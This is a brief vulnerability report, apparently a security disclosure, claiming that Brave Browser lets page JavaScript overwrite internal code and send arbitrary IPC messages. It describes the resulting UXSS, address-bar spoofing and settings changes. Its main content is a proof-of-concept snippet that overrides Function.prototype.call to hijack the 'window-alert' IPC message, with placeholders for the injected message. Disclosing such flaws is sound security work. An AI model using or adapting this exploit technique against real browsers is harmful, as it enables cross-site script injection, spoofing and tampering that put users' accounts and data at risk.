Brave Browser unexpectedly allows to send arbitrary IPC messages

Summary: I found that Brave Browser allows to overwrite the internal js code from the user js code. Using this behavior, an attacker can send arbitrary IPC messages and do UXSS, address bar spoofing, changing browser settings and so on.

Function.prototype.call=function(e){
    if(e[0]&&e[0]=="window-alert"){
        e[0]="[ARBITRARY_IPC_MESSAGE_HERE]";
        e[1]="[ARBITRARY_IPC_MESSAGE_HERE]";
    }
    return this.apply(e);
}